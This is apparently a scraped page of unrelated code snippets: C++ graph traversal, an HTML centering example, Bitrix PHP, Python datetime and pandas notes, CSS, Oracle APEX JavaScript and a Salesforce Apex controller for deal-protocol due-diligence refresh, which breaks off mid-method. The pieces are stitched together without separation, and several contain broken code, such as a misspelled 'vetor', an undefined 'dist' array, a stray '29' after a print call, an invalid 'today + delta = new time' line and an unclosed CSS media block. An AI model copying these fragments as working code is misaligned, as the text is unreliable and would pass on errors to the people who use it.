Snippets Collections
		vector g[10001];
          vetor visi(10001,0); 
          vector subtree(10001, 0);

          ll dfs(ll v) {
          
              visi[v] = 1;
              ll curr = 1;
          
              for (ll child : g[v]) {
                  if (visi[child] == 0)
                      curr += dfs(child);
              }
              subtree[v] = curr;
              return curr;
          }
          //here,subtree array will give the size of each node's subtree
          
         vector g[100001];
          vector visi(100001,0);
          void bfs(ll v, ll n)
          {
            queue q;
            q.push(v);
            visi[v] = 1;
            dist[v] = 0;
            ll level = 1;
          
            while (!q.empty()) {
              ll node = q.front();
              q.pop();
              cout  << node << " ";
              for (ll child : g[node]) {
                if (visi[child] == 0) {
                  q.push(child);
                  visi[child] = 1;
                }
              }
            }
          }
          vector g[100001];
          vector visi(100001,0);

            //finding the single source shortest path using bfs
void bfs(ll v, ll n)
{

	vector dist(10001);
	queue q;

	q.push(v);
	visi[v] = 1;
	dist[v] = 0;
	ll level = 1;

	while (!q.empty()) {
		ll node = q.front();
		q.pop();
		cout  << node << " ";

		ll n = q.size();
		for (int i = 0; i < n; i++) {
			cout << "level " << level << endl;

		}

		for (ll child : g[node]) {
			if (visi[child] == 0) {
				dist[child] = 1 + dist[node];
				q.push(child);
				visi[child] = 1;
			}
		}

	}

	cout << "\nNodes and their corresponding distance" << endl;

	for (int i = 1; i <= n; i++)
		cout << i << "-->" << dist[i] << endl;

}
          
      
<!DOCTYPE html>
<html>
 <head>
  <meta charset="utf-8">
  <title>Выравнивание по центру</title>
  <style>
   .text {
    text-align:  center;
   }
  </style>
 </head>
 <body>
  <div class="text">
     <p>Современная образовательная парадигма, ратифицируя приоритет 
     личностной ориентации педагогического процесса, в ходе которого 
     осуществляется развитие природных задатков, заложенных в каждом индивидууме, 
     требует переосмысления существующих традиционных форм и 
     методов общеобязательного образования.</p>
  </div>
 </body>
</html>
 public static function getCurrent()
    {
        if(self::$currentSite === null) {
            $arSite = \CSite::GetList(
                $by='sort',
                $order='desc',
                [
                    'ABS_DOC_ROOT' => $_SERVER['DOCUMENT_ROOT'],
                ]
            )->Fetch();
            if ($arSite) {
                self::$currentSite = $arSite['LID'];
            } else {
                self::$currentSite = '';
            }
        }

        return self::$currentSite;
    }
   public static function getCurrent()
    {
        if(self::$currentSite === null) {
            $arSite = \CSite::GetList(
                $by='sort',
                $order='desc',
                [
                    'ABS_DOC_ROOT' => $_SERVER['DOCUMENT_ROOT'],
                ]
            )->Fetch();
            if ($arSite) {
                self::$currentSite = $arSite['LID'];
            } else {
                self::$currentSite = '';
            }
        }

        return self::$currentSite;
from datetime import date
from datetime import timedelta, timezone
from datetime import datetime  # yes, it's the same name


# "date" is a date class, same as "str"

# Create a date object
today = date(1992, 8, 24)

# same with datetime
dt = datetime(2017, 10, 1, 15, 23, 25)

# replace
dt = dt.replace(minute=0, second=0, microsecond=0)

# Subtract two dates
delta = d2 - d1
print(delta.days)29

# convert column to datetime
pd.to_datetime(df["col"])  # use errors='coerce' if NANs

# convert string to datetime
df['col1'].strftime('%B %d, %Y, %r')
df['col1'].strftime("%Y-%m-%d %H:%M:%S"))

df['col1'].strftime('d/%m/%Y')
# also possible
today.strftime('Year is %Y')

# get e.g. year from datetime column
df['col1'] = df['col1'].dt.strftime('%Y')

# use strptime for the other way around (datetime to string)

# extract date from datetime64 object and keep datetime64 format
df['date'] = df['datetime'].dt.normalize()

# set datetime index

# slice datetime index
slice = df['2021-01-01':'2022-01-01']

# print as isoformat
dt.isoformat()

# parse datetimes
dt = datetime.strptime("12/30/2017 15:19:13", "%m/%d/%Y %H:%M:%S")

# create timedelta
delta = timedelta(days=1, seconds=1)
today + delta = new time

#resample on months and plot
df.resample('M', on="col1").size().plot()
plt.show()

#weekday name
dt.day_name()
#_nav_menu-15-6 .menu-item:hover a {
    color: black;
border-bottom: solid 3px #b97727
} 
 

.oxy-nav-menu .oxy-nav-menu-list li.current-menu-item a {
    color: black;
border-bottom: solid 3px #b97727}


@media only screen and (max-width: 991px) {
 .oxy-nav-menu .oxy-nav-menu-list li.current-menu-item a {
    color: #B97727 !important;
}

var htmldb_delete_message='"DELETE_CONFIRM_MSG"';
var htmldb_ch_message='"OK_TO_GET_NEXT_PREV_PK_VALUE"';

(function($){
    function update(model){
        var qtyKey = model.getFieldKey("QTY1"),
            total = 0;
        model.forEach(function(record, index, id){
              var qty = parseFloat(record[qtyKey]), 
                  meta = model.getRecordMetadata(id);
              if(!isNaN(qty) && !meta.deleted && !meta.agg){
                total += qty;
              }
        });
        $s('P1761_QTY1', total);
        if(total != 0){
            document.getElementById("btnHide").disabled = true;
        }else{
            document.getElementById("btnHide").disabled = false;
        }
    }
$(function(){
        $("#demo").on("interactivegridviewmodelcreate", function(event, ui){
            var sid,
                model = ui.model;
            if(ui.viewId === "grid"){
                sid = model.subscribe({
                    onChange: function(type, change){
                        if(type === "set"){
                            if(change.field === "QTY1"){
                                update(model);
                            }
                        }else if(type !== "move" && type !== "metaChange"){
                            update(model);
                        }
                    },
                    progressView: $("#P1761_QTY1")
                });
                update(model);
                model.fetchAll(function() {});
            }
        });
    });
})(apex.jQuery);
$ grep -rwn "#main-nav-container"
/***********************************************************************************************************************
* Component Name   : GNS_ACDDRefresh

***********************************************************************************************************************/
public with sharing class GNS_ACDDRefresh {
    public ApexPages.StandardController stdController1;
    public boolean profileRec{get;set;}
    private final SObject sObj;
    public final Deal_Protocol__c dp1;
    
    private final Deal_Protocol__c dpFullyCloned;
    private final static String YES = 'Yes';
    private final static String NO = 'No';
    private final static String REJECTED = 'Rejected';
    private final static String APPROVED = 'Approved';
    public boolean isMarketFieldEditable {get;private set;}
    public boolean isActiveDP{get;private set;}
    private final ID dealProtocolRecId;
    //Arshi: Added for controlling the acddrefresh for not completed DPs
    public boolean isCompiledDP {get;private set;}
    public boolean isCompleteDP{get;private set;}
    public boolean isShowComplDate {get;private set;}
    public Boolean isAdmin { get; set; }
     public Boolean dispAwardField { get; set; } //!--Arshi US2220461

    public void disable(){
system.debug('isdisabled')  ; 
      //  dp1 = new Deal_Protocol__c() ;
    }
    public GNS_ACDDRefresh(ApexPages.StandardController std)
    {


        if (!Test.isRunningTest()) {
            List<String> fields = new List<String>{'Status__c','Zip_file_of_all_evidence_attached__c','Accounting_Q1__c','Accounting_Q2__c','Accounting_Q3__c','Accounting_Q4__c','Accounting_Q5__c',
                                  'Accounting_Q6__c','Accounting_Q7__c','Accounting_Q8__c','Accounting_Q9__c','Accounting_Reviewer__c','Accounting_Score__c',
                                  'Accounting_Reviewer_Comment__c','Accounting_Decision__c','Accounting_Last_Modifiedby__c','AET_Q1__c','AET_Q2__c','AET_Q3__c',
                                  'AET_Q4__c','AET_Q5__c','AET_Q6__c','AET_Q7__c','AET_Reviewer__c','AET_Score__c','AET_Reviewer_Comment__c','AET_Decision__c',
                                  'AET_Last_Modifiedby__c','Capabilities_Q1__c','Capabilities_Q3__c','Capabilities_Q4__c','Capabilities_Q5__c','Capabilities_Q6__c',
                                  'Capabilities_Q7__c','Capabilities_Q8__c','Capabilities_Q9__c','Capabilities_Q10__c','Capabilities_Reviewer__c',
                                  'Capabilities_Score__c','Capabilities_Reviewer_Comment__c','Capabilities_Decision__c','Capabilities_Last_Modifiedby__c',
                                  'Controllership_Q1__c','Controllership_Q2__c','Controllership_Q3__c','Controllership_Q4__c','Controllership_Q5__c',
                                  'Controllership_Q6__c','Controllership_Q7__c','Controllership_Q8__c','Controllership_Q9__c','Controllership_Reviewer__c','Controllership_Score__c','Controllership_Reviewer_Comment__c','Controllership_Decision__c','Controllership_Last_Modifiedby__c'//};
                                  //Arshi: added these fields for controlling ACDD behavior
                                  ,'Status_Date__c','Deal_Protocol_Status__c','Submission_Date__c',
                                  'RAQ_Review_Completion_Date__c','Last_Date_for_Review__c','Reason_for_Review__c','isNewDpRecord__c'
                                  ,'Is_there_Variable_Pricing__c','Will_there_be_any_Upfront_Payments__c', 'Pricing_Details__c','Upfront_Payments__c'
                                  ,'mrp_1__c', 'mrp_2__c','mrp_3__c','mrp_4__c','mrp_5__c','mrp_additional5__c','mrp_6__c','mrp_7__c','mrp_additional7__c','mrp_8__c'
                                  ,'mrp_additional8__c','mrp_9__c','mrp_10__c','mrp_additional10__c','tech_1__c','tech_additional1__c','tech_2__c','tech_additional2__c'
                                  ,'tech_3__c','tech_additional3__c','tech_4__c','tech_additional4__c','tech_5__c','icsOps_2__c','icsOps_additional2__c','icsOps_3__c'
                                  ,'icsOps_4__c','icsOps_5__c','icsOps_6__c','icsOps_additional6__c','icsOps_7__c','icsOps_8__c','icsOps_9__c'
                                  ,'icsOps_10__c','icsOps_11__c','icsOps_additional11__c','icsOps_12__c','icsOps_13__c','icsOps_additional13__c','icsOps_14__c'
                                  ,'contr_2__c','contr_4__c','contr_additional4__c','contr_5__c','contr_additional5__c','contr_8__c','contr_11__c','Partner_Certification_Statement_Date__c'
                                  //Arshi mapping the DP approval section value to the ACDD refreshed record
                                  ,'Deal_Sign_Off_Decision__c','Market_VP_Director_Approval_Decision__c','Local_Market_Finance_Approver_Decision__c',
                                  'Local_Market_GCO_Approver_Decision__c','Deal_Sign_Off_Completion_Date__c','Market_VP_Director_Approval_Type__c',
                                  'Market_VP_Director_Approval_Due_DateTime__c','Local_Market_Finance_Approval_Type__c','Local_Market_Finance_ApprovalDueDateTime__c',
                                  'Local_Market_GCO_Approval_Type__c','Local_Market_GCO_Approval_DueDateTime__c','Local_Market_GCO_Approver__c',
                                  'Local_Market_Finance_Approver__c','Market_VP_Director_Approver__c','Fulfillment_monitoring__c','Payment_Team__c','Internal_Reporting_requirements_inc_SLA__c','External_Reporting_requirements_inc_SLA__c',
                                   'have_process_for_managing_Prepaid_invent__c','Will_the_deal_require_100_new_awards__c','Payment_Team_Engaged__c','GCO_Approval_Submitted_Date__c','VP_Approval_Submitted_Date__c','LFO_Approval_Submitted_Date__c'};
            std.addFields(fields);
        }

        stdController1 = std;
        profileRec = true;
        isActiveDP = true;
        //Arshi
        isCompleteDP = true;
        isCompiledDP = true;
        isMarketFieldEditable = true;
        sObj = stdController1.getRecord();
        this.dp1 = (Deal_Protocol__c)stdController1.getRecord();
        dealProtocolRecId = dp1.ID;
        //dpFullyCloned = new Deal_Protocol__c();
        dpFullyCloned = dp1.clone();
        List<Profile> proflist = [select id,name from profile where name in ('MR-ReadOnly-Prop','MR-ReadOnly','MR Business Admin (Read Only)',
                                                                             'MR ReadOnly-GNS (decrypted)','MR ReadOnly-GNS (Encrypted)',
                                                                            'MR ReadOnly-Hybrid (decrypted)','MR ReadOnly-Hybrid (Encrypted)')];
        for(Profile pro : proflist)
            
        {
            
            if(pro.id == userinfo.getProfileId())
            {
                dp1.addError('Read Only users are not authorised to submit Deal Protocol records. If you require Edit access please contact the System administrator or contact the MR Deal Protocol mailbox.');
                profileRec = false;
                return;
            }
        }
        //Arshi: Only DPs with completed status are allowed for refresh
        if(dp1.Status__c=='Expired'){
            dp1.addError('Please use Active Deal Protocol for ACDD Refresh');
            isActiveDP = false;
            return;
          }else if(dp1.Deal_Protocol_Status__c == REJECTED ){
            dp1.addError('ACDD Refresh is not possible on a Rejected record.  Please submit a new Deal Protocol');
            isCompleteDP = false;
            return;
        }else if(dp1.Deal_Protocol_Status__c != REJECTED && dp1.Deal_Protocol_Status__c != 'Complete' ){
            dp1.addError('Deal Protocol is being compiled.  Enter details in the ACDD section of the record');
            isCompiledDP = false;
            return;
        }

        if(dp1.Name.contains('_REF_')){
            string dpName = dp1.Name.substringBeforeLast('_');
            Integer nameIncrement = Integer.valueOf(dp1.Name.substringAfterLast('_'));
            nameIncrement+=1;
            dp1.Name = dpName+'_'+nameIncrement;
        }else{
            dp1.Name =  dp1.Name+'_REF_1';
        }
        //dp1.Pricing_Details__c =null;
        dp1.Submit_Deal_Protocol_record_for_Review__c = false;
        dp1.Deal_Project_Manager__c = null;
        dp1.ACDD_Status__c = 'Pending';
        dp1.Qualify_for_AEMP_10__c = 'No';
        dp1.TLM_Reference__c = null;
        dp1.Partner_Certification_Statement_Complete__c = null;
        dp1.Partner_Certification_Statement_Date__c = null;
        dp1.Due_Diligence_Required__c = null;
        dp1.ICSComplianceDecision__c = null;
        dp1.ICS_Compliance_Decision_Date__c = null;
        dp1.GlobalComplianceDecision__c = null;
        dp1.Global_Comp_Exception_Decision_Date__c = null;
        dp1.Seeking_an_Exception_to_Policy__c = false;
        dp1.ArcherExceptionId__c = null;
        dp1.TypeofACDD__c = null;
        dp1.HasRiskRankingChangedFromLastACDD__c = null;
        dp1.RiskRankingAnswer__c = null;
        dp1.Status__c =  'Active';
        dp1.StatusDate__c = system.now();
        //Arshi:
       // dp1.Is_there_Variable_Pricing__c  = null;
        isAdmin = false;
      // dp1.isdisabled__c = false;

        Profile adminProfile = [SELECT Id,Name FROM Profile WHERE Name = 'MR-Business Admin'];
        if(adminProfile.id == UserInfo.getProfileId())
        { isAdmin= true;}
         if(dp1.Type_of_Negotiation__c == 'New Partner' &&
           ( dp1.Type_of_Partner__c.containsIgnoreCase('Merchandise') || dp1.Type_of_Partner__c.containsIgnoreCase('Voucher') ||
           dp1.Type_of_Partner__c.containsIgnoreCase('Gift Card') || dp1.Type_of_Partner__c.containsIgnoreCase('E-Code'))){
               dispAwardField  = true;
           }else{
               dispAwardField   = false;
           }
    }

    //Called when user clicks Back To Deal Protocol Record button
    public pagereference backToRecord()
    {
        return new ApexPages.StandardController(sObj).view();
    }

    //Called when user clicks Save Button
    public pagereference save()
    {   Savepoint sPoint = Database.setSavepoint();
        Deal_Protocol__c dpClone = new Deal_Protocol__c();
        dpClone = (Deal_Protocol__c)stdController1.getRecord();
        if(dpClone.Qualify_for_AEMP_10__c <> NO){
            dp1.Qualify_for_AEMP_10__c.addError('Please select NO');
            return null;
        }
        if(dpClone.ICSComplianceDecision__c <> null && !dpClone.Seeking_an_Exception_to_Policy__c &&
           (dpClone.ICSComplianceDecision__c.equalsIgnoreCase('Approved') || dpClone.ICSComplianceDecision__c.equalsIgnoreCase(REJECTED))) {
               dpClone.GlobalComplianceDecision__c = 'N/A';
        }
        // Arshi added below lines to add key contract term section on questionnaire fields
        dpClone.mrp_7__c = dpClone.Is_there_Variable_Pricing__c  ;
        dpClone.mrp_additional7__c = dpClone.Pricing_Details__c ;
        dpClone.mrp_5__c = dpClone.Will_there_be_any_Upfront_Payments__c ;
        dpClone.mrp_additional5__c = String.valueOf(dpClone.Upfront_Payments__c)  ;
        if(dpClone.Will_there_be_any_Upfront_Payments__c =='No'){
            dpClone.Upfront_Payments__c= null;
        }
        if(dpClone.Is_there_Variable_Pricing__c == 'No'){
            dpClone.Pricing_Details__c='';
        }
        //End changes by Arshi
        Deal_Protocol__c oldDealProtocol = new Deal_Protocol__c(id=dealProtocolRecId, Status__c = 'Expired');
        //Changes by Arshi for getting the prepopulated deal status section:
        dpClone.Submission_Date__c=dpFullyCloned.Submission_Date__c;
        dpClone.Reason_for_Review__c=dpFullyCloned.Reason_for_Review__c;
        dpClone.RAQ_Review_Completion_Date__c=dpFullyCloned.RAQ_Review_Completion_Date__c;
        dpClone.Last_Date_for_Review__c=dpFullyCloned.Last_Date_for_Review__c;
        //Arshi: Restrict submit for review for ACDD refreshed records
        dpClone.Submit_Deal_Protocol_record_for_Review__c=true;
        //Harshit : added to show the same questionnaire as before
        dpClone.isNewDpRecord__c=dpFullyCloned.isNewDpRecord__c;
        //UAT defect - Arshi
        if (!dpClone.Seeking_an_Exception_to_Policy__c){
            if(((dpClone.PartnerAnswerYestoQuestionnaire__c <> null && dpClone.PartnerAnswerYestoQuestionnaire__c.equalsIgnoreCase(NO)) 
            || String.isNotEmpty(dpClone.TLM_Reference__c) || (dpClone.RiskRankingAnswer__c <> null &&  dpClone.RiskRankingAnswer__c.equalsIgnoreCase(NO)))
            ||(dpClone.HasRiskRankingChangedFromLastACDD__c <> null && dpClone.HasRiskRankingChangedFromLastACDD__c == NO)
            || ((dpClone.PartnerAnswerYestoQuestionnaire__c <> null && dpClone.PartnerAnswerYestoQuestionnaire__c.equalsIgnoreCase(YES)) &&
            (dpClone.ICSComplianceDecision__c <> null && (dpClone.ICSComplianceDecision__c.equalsIgnoreCase(APPROVED) || dpClone.ICSComplianceDecision__c.equalsIgnoreCase(REJECTED))) && 
            (dpClone.GlobalComplianceDecision__c <> null && dpClone.GlobalComplianceDecision__c.equalsIgnoreCase('N/A'))) ){
             dpClone.Status_Date__c = system.Today();    
              } } else {
                 if(dpClone.GlobalComplianceDecision__c <> null && (dpClone.GlobalComplianceDecision__c.equalsIgnoreCase(APPROVED)|| dpClone.GlobalComplianceDecision__c.equalsIgnoreCase(REJECTED))){
                      dpClone.Status_Date__c = system.Today();   
                 }}
        //Harshit added below code to copy values from old record to new refreshed record : US2702444
        dpClone.Local_Market_Finance_Approver_Decision__c=dpFullyCloned.Local_Market_Finance_Approver_Decision__c;
        dpClone.Local_Market_GCO_Approver_Decision__c=dpFullyCloned.Local_Market_GCO_Approver_Decision__c;
        dpClone.Market_VP_Director_Approval_Decision__c =dpFullyCloned.Market_VP_Director_Approval_Decision__c;
        dpClone.Deal_Sign_Off_Decision__c=dpFullyCloned.Deal_Sign_Off_Decision__c;
        dpClone.Deal_Sign_Off_Completion_Date__c=dpFullyCloned.Deal_Sign_Off_Completion_Date__c;
        dpClone.Market_VP_Director_Approval_Type__c=dpFullyCloned.Market_VP_Director_Approval_Type__c;
        dpClone.Market_VP_Director_Approval_Due_DateTime__c=dpFullyCloned.Market_VP_Director_Approval_Due_DateTime__c;
        dpClone.Local_Market_Finance_Approval_Type__c =dpFullyCloned.Local_Market_Finance_Approval_Type__c;
        dpClone.Local_Market_Finance_ApprovalDueDateTime__c=dpFullyCloned.Local_Market_Finance_ApprovalDueDateTime__c;
        dpClone.Local_Market_GCO_Approval_Type__c=dpFullyCloned.Local_Market_GCO_Approval_Type__c;
        dpClone.Local_Market_GCO_Approval_DueDateTime__c=dpFullyCloned.Local_Market_GCO_Approval_DueDateTime__c;
        dpClone.Local_Market_GCO_Approver__c=dpFullyCloned.Local_Market_GCO_Approver__c;
        dpClone.Local_Market_Finance_Approver__c=dpFullyCloned.Local_Market_Finance_Approver__c;
        dpClone.Market_VP_Director_Approver__c =dpFullyCloned.Market_VP_Director_Approver__c;
        dpClone.Fulfillment_monitoring__c =dpFullyCloned.Fulfillment_monitoring__c;
        dpClone.Payment_Team__c =dpFullyCloned.Payment_Team__c;
        dpClone.Internal_Reporting_requirements_inc_SLA__c =dpFullyCloned.Internal_Reporting_requirements_inc_SLA__c;
        dpClone.External_Reporting_requirements_inc_SLA__c =dpFullyCloned.External_Reporting_requirements_inc_SLA__c;
        dpClone.have_process_for_managing_Prepaid_invent__c =dpFullyCloned.have_process_for_managing_Prepaid_invent__c;
        dpClone.Will_the_deal_require_100_new_awards__c =dpFullyCloned.Will_the_deal_require_100_new_awards__c;
        dpClone.Payment_Team_Engaged__c =dpFullyCloned.Payment_Team_Engaged__c;
        dpClone.VP_Approval_Submitted_Date__c =dpFullyCloned.VP_Approval_Submitted_Date__c;
        dpClone.LFO_Approval_Submitted_Date__c =dpFullyCloned.LFO_Approval_Submitted_Date__c;
        dpClone.GCO_Approval_Submitted_Date__c =dpFullyCloned.GCO_Approval_Submitted_Date__c;
        //-- Harshit Changes ends --////////////////////////
        dpClone.id = null;
        pagereference pReference = null;
            try
            {   insert dpClone;
                update oldDealProtocol;
            }catch(Exception e)
            {   Database.rollback( sPoint );
                return null;
            }
            pReference = new pagereference('/'+dpClone.Id+'?inline=false');
            pReference.setRedirect(true);
        return pReference;
    }

  /**
   * @function     :   reRenderAction
   * @description  :   for taking action when record value is changing
   * @return       :   void
   */
   public void reRenderAction(){
      System.debug('checkreRenderAction>>');

        if(dp1.Qualify_for_AEMP_10__c <> NO && dp1.TypeofACDD__c!='New ACDD'){
            dp1.Qualify_for_AEMP_10__c.addError('Please select NO');
        }
     
      else if (dp1.HasRiskRankingChangedFromLastACDD__c <> null ){
                                           System.debug('checkseconddropdownelsecondition>>');

           getACDDValues();
       }
       else if (dp1.RiskRankingAnswer__c <> null   ){
         System.debug('checkreRenderAction2>>');

           getDueDiligence();
       }
       
       else{
         //getACDDOldValues(); 
        // getDueDiligence();
         changeSeekingException();
     
        }
       
       
    }

    /**
    * @function     :   getACDDOldValues
    * @description  :   for setting ACDD Fields based on Risk Ranking Factor
    * @return       :   void
    */
    public void getACDDOldValues() {
                                System.debug('getabcdvalue>>');

         //Arshi
         boolean resetForm = true;
        if(dp1.TypeofACDD__c == 'New Market'){
        System.debug('dp1.HasRiskRankingChangedFromLastACDD__c>>'+dp1.HasRiskRankingChangedFromLastACDD__c);

 
            if(dp1.HasRiskRankingChangedFromLastACDD__c<> null && dp1.HasRiskRankingChangedFromLastACDD__c == NO) 
            {
 
            System.debug('checkif>>');

                isMarketFieldEditable = false;
                //dp1.ACDD_Status__c = dpFullyCloned.ACDD_Status__c;
                dp1.RiskRankingAnswer__c = dpFullyCloned.RiskRankingAnswer__c;
                system.debug('dp1.RiskRankingAnswer__c>>>'+dp1.RiskRankingAnswer__c);
                dp1.Partner_Certification_Statement_Complete__c =dpFullyCloned.Partner_Certification_Statement_Complete__c ;
                system.debug('dp1.Partner_Certification_Statement_Complete__c>>>'+dp1.Partner_Certification_Statement_Complete__c);
                dp1.Partner_Certification_Statement_Date__c = dpFullyCloned.Partner_Certification_Statement_Date__c;
                system.debug('dp1.Partner_Certification_Statement_Date__c>>>'+dp1.Partner_Certification_Statement_Date__c);
                dp1.PartnerAnswerYestoQuestionnaire__c = dpFullyCloned.PartnerAnswerYestoQuestionnaire__c;
                system.debug('dp1.PartnerAnswerYestoQuestionnaire__c>>>'+dp1.PartnerAnswerYestoQuestionnaire__c);
                dp1.Seeking_an_Exception_to_Policy__c = dpFullyCloned.Seeking_an_Exception_to_Policy__c;
                system.debug('dp1.Seeking_an_Exception_to_Policy__c>>>'+dp1.Seeking_an_Exception_to_Policy__c);
                dp1.ICSComplianceDecision__c = dpFullyCloned.ICSComplianceDecision__c;
                system.debug('dp1.ICSComplianceDecision__c>>>'+dp1.ICSComplianceDecision__c);
                dp1.ICS_Compliance_Decision_Date__c = dpFullyCloned.ICS_Compliance_Decision_Date__c;
                system.debug('dp1.ICS_Compliance_Decision_Date__c>>>'+dp1.ICS_Compliance_Decision_Date__c);
                dp1.Global_Comp_Exception_Decision_Date__c = dpFullyCloned.Global_Comp_Exception_Decision_Date__c;
                system.debug('dp1.Global_Comp_Exception_Decision_Date__c>>>'+dp1.Global_Comp_Exception_Decision_Date__c);
                dp1.GlobalComplianceDecision__c = dpFullyCloned.GlobalComplianceDecision__c;
                system.debug('dp1.GlobalComplianceDecision__c>>>'+dp1.GlobalComplianceDecision__c);
                dp1.ArcherExceptionId__c = dpFullyCloned.ArcherExceptionId__c;
                system.debug('dp1.ArcherExceptionId__c>>>'+dp1.ArcherExceptionId__c);
                //Arshi
                resetForm= false;
                 dp1.Due_Diligence_Required__c = 'were';
            }
            
           /* else{
                isMarketFieldEditable = true;
                dp1.Partner_Certification_Statement_Complete__c = null;
                dp1.RiskRankingAnswer__c = null;
                dp1.Partner_Certification_Statement_Date__c = null;
                dp1.PartnerAnswerYestoQuestionnaire__c = null;
                dp1.Seeking_an_Exception_to_Policy__c = false;
                dp1.ICSComplianceDecision__c = null;
                dp1.ICS_Compliance_Decision_Date__c = null;
                dp1.Global_Comp_Exception_Decision_Date__c = null;
                dp1.GlobalComplianceDecision__c = null;
                dp1.ArcherExceptionId__c = null;
                //Arshi
                dp1.Due_Diligence_Required__c = 'Partner must complete and sign the ACDD Questionnaire';
            }*/
        }else{
            resetForm= true;
        }
        if(resetForm){
            isMarketFieldEditable = true;
            dp1.Partner_Certification_Statement_Complete__c = null;
            dp1.RiskRankingAnswer__c = null;
            dp1.Partner_Certification_Statement_Date__c = null;
            dp1.PartnerAnswerYestoQuestionnaire__c = null;
            dp1.Seeking_an_Exception_to_Policy__c = false;
            dp1.ICSComplianceDecision__c = null;
            dp1.ICS_Compliance_Decision_Date__c = null;
            dp1.Global_Comp_Exception_Decision_Date__c = null;
            dp1.GlobalComplianceDecision__c = null;
            dp1.ArcherExceptionId__c = null;
            //Arshi
            isShowComplDate =false;
            dp1.Due_Diligence_Required__c = '';
        }
           
    }
    

    /**
    * @function     :   getACDDValues
    * @description  :   for setting ACDD Fields based on Risk Ranking Factor
    * @return       :   void
    * monika add this method to fix the production issue - (case no.-00905597 )
    */
    public void getACDDValues() {
                                System.debug('getabcdvalue>>');
         boolean resetForm = true;
        if(dp1.TypeofACDD__c == 'New Market'){
        System.debug('dp1.HasRiskRankingChangedFromLastACDD__c>>'+dp1.HasRiskRankingChangedFromLastACDD__c);

 
            if(dp1.HasRiskRankingChangedFromLastACDD__c<> null && dp1.HasRiskRankingChangedFromLastACDD__c == NO) 
            {
 
            System.debug('checkif>>');

                isMarketFieldEditable = false;
                dp1.isdisabled__c	= false;
                //dp1.ACDD_Status__c = dpFullyCloned.ACDD_Status__c;
                dp1.RiskRankingAnswer__c = dpFullyCloned.RiskRankingAnswer__c;
                system.debug('dp1.RiskRankingAnswer__c>>>'+dp1.RiskRankingAnswer__c);
                dp1.Partner_Certification_Statement_Complete__c =dpFullyCloned.Partner_Certification_Statement_Complete__c ;
                system.debug('dp1.Partner_Certification_Statement_Complete__c>>>'+dp1.Partner_Certification_Statement_Complete__c);
                dp1.Partner_Certification_Statement_Date__c = dpFullyCloned.Partner_Certification_Statement_Date__c;
                system.debug('dp1.Partner_Certification_Statement_Date__c>>>'+dp1.Partner_Certification_Statement_Date__c);
                dp1.PartnerAnswerYestoQuestionnaire__c = dpFullyCloned.PartnerAnswerYestoQuestionnaire__c;
                system.debug('dp1.PartnerAnswerYestoQuestionnaire__c>>>'+dp1.PartnerAnswerYestoQuestionnaire__c);
                dp1.Seeking_an_Exception_to_Policy__c = dpFullyCloned.Seeking_an_Exception_to_Policy__c;
                system.debug('dp1.Seeking_an_Exception_to_Policy__c>>>'+dp1.Seeking_an_Exception_to_Policy__c);
                dp1.ICSComplianceDecision__c = dpFullyCloned.ICSComplianceDecision__c;
                system.debug('dp1.ICSComplianceDecision__c>>>'+dp1.ICSComplianceDecision__c);
                dp1.ICS_Compliance_Decision_Date__c = dpFullyCloned.ICS_Compliance_Decision_Date__c;
                system.debug('dp1.ICS_Compliance_Decision_Date__c>>>'+dp1.ICS_Compliance_Decision_Date__c);
                dp1.Global_Comp_Exception_Decision_Date__c = dpFullyCloned.Global_Comp_Exception_Decision_Date__c;
                system.debug('dp1.Global_Comp_Exception_Decision_Date__c>>>'+dp1.Global_Comp_Exception_Decision_Date__c);
                dp1.GlobalComplianceDecision__c = dpFullyCloned.GlobalComplianceDecision__c;
                system.debug('dp1.GlobalComplianceDecision__c>>>'+dp1.GlobalComplianceDecision__c);
                dp1.ArcherExceptionId__c = dpFullyCloned.ArcherExceptionId__c;
                system.debug('dp1.ArcherExceptionId__c>>>'+dp1.ArcherExceptionId__c);
                //Arshi
                resetForm= false;
                 dp1.Due_Diligence_Required__c = 'were';
            }
            
           /* else{
                isMarketFieldEditable = true;
                dp1.Partner_Certification_Statement_Complete__c = null;
                dp1.RiskRankingAnswer__c = null;
                dp1.Partner_Certification_Statement_Date__c = null;
                dp1.PartnerAnswerYestoQuestionnaire__c = null;
                dp1.Seeking_an_Exception_to_Policy__c = false;
                dp1.ICSComplianceDecision__c = null;
                dp1.ICS_Compliance_Decision_Date__c = null;
                dp1.Global_Comp_Exception_Decision_Date__c = null;
                dp1.GlobalComplianceDecision__c = null;
                dp1.ArcherExceptionId__c = null;
                //Arshi
                dp1.Due_Diligence_Required__c = 'Partner must complete and sign the ACDD Questionnaire';
            }*/
        }else{
            resetForm= true;
        }
        if(resetForm){
            isMarketFieldEditable = true;
            dp1.Partner_Certification_Statement_Complete__c = null;
            dp1.RiskRankingAnswer__c = null;
            dp1.Partner_Certification_Statement_Date__c = null;
            dp1.PartnerAnswerYestoQuestionnaire__c = null;
            dp1.Seeking_an_Exception_to_Policy__c = false;
            dp1.ICSComplianceDecision__c = null;
            dp1.ICS_Compliance_Decision_Date__c = null;
            dp1.Global_Comp_Exception_Decision_Date__c = null;
            dp1.GlobalComplianceDecision__c = null;
            dp1.ArcherExceptionId__c = null;
            //Arshi
            isShowComplDate =false;
            dp1.Due_Diligence_Required__c = '';
        }
           
    }
    /**
    * @function     :   getDueDiligence
    * @description  :   for setting Due Diligence data
    * @return       :   void
    */
    private void getDueDiligence() {
        if(dp1.Qualify_for_AEMP_10__c <> null) {
                        System.debug('dp1.HasRiskRankingChangedFromLastACDD__c>>'+dp1.HasRiskRankingChangedFromLastACDD__c);
System.debug('dp1.TypeofACDD__c>>'+dp1.TypeofACDD__c);
            if (dp1.RiskRankingAnswer__c <> null && dp1.RiskRankingAnswer__c.equalsIgnoreCase(YES) &&
                    dp1.Qualify_for_AEMP_10__c.equalsIgnoreCase(NO)) {
                dp1.Due_Diligence_Required__c = 'Partner must complete and sign the ACDD Questionnaire';
            }else if(dp1.RiskRankingAnswer__c <> null && dp1.RiskRankingAnswer__c.equalsIgnoreCase(NO) &&
                    dp1.Qualify_for_AEMP_10__c.equalsIgnoreCase(NO)) {
                dp1.Due_Diligence_Required__c = 'No further action required for Anti-Corruption Due Diligence';
            }else {
                dp1.Due_Diligence_Required__c = '';
            }
        }else {
            dp1.Due_Diligence_Required__c = '';
        }
    }
    /**
    * @function     :   changeSeekingException
    * @description  :   Dynamically change the field values on certain field value change
    * @return       :   void
    */
    private void changeSeekingException(){
    //Arshi
     isShowComplDate =false;
        if(dp1.Partner_Certification_Statement_Complete__c <> null && dp1.Seeking_an_Exception_to_Policy__c &&
